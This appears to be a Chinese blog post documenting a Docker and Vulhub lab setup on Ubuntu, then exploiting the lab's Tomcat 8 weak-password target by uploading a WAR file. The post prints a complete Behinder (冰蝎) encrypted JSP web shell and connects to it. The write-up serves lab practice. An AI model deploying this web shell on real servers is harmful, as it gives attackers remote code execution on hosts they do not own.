ubuntu安装docker,vulhub靶场 / 冰蝎连接

Ubuntu安装docker

先查看版本

uname -a

在这里插入图片描述
直接安装是不行的,一般使用ubuntu系统安装需要先更新
直接安装一般会爆这个错误 ↓
在这里插入图片描述

sudo apt-get update
sudo apt-get upgrade

这个安装博文
写的还挺细,不过我是按照官网步骤的

在网上看了一堆,还是官网的安装步骤最靠谱
https://docs.docker.com/engine/install/ubuntu/#prerequisites

安装docker-compose

sudo apt  install docker-compose

在这里插入图片描述

下载vunlhub

参考 博文

官网 https://vulhub.org/#/docs/run/

git clone https://github.com/vulhub/vulhub.git

在这里插入图片描述
构建靶场
报错了
在这里插入图片描述
解决办法(可能需要重启客户端

在这里插入图片描述

成功
在这里插入图片描述
关闭容器

docker-compose down

漏洞环境测试–tomcat8弱口令

在这里插入图片描述在这里插入图片描述
说是 上传war包即可直接getshell。
在这里插入图片描述先将木马文件muma.jsp ↓ 压缩成muma.zip,再修改后缀为war,然后再进行上传,上传后如下所示
这文件是网上看到的,也不知道有没有毛病,后悔了

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

上传成功
在这里插入图片描述http://localhost:8080/muma/muma.jsp

在这里插入图片描述使用冰蝎连接 安装冰蝎

冰蝎启动不起来,说是需要jdk6 or 8
在这里插入图片描述
我的电脑目前装的有1.8和11,切换失败
网友的方法有删除java11和java8的exe↓文件,
在这里插入图片描述
在这里插入图片描述
手动修改这个JAVA_HOME
在这里插入图片描述
没有成功,后来我发现是修改一下这里的优先级就好了。把jdk8上移到最前面
在这里插入图片描述
成功
在这里插入图片描述
冰蝎还是运行不起来
在命令行运行jar就可以了
在这里插入图片描述吐槽一下,我对Ubuntu提示信息的误解
在这里插入图片描述
连接成功
在这里插入图片描述
哈哈哈哈 ~

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值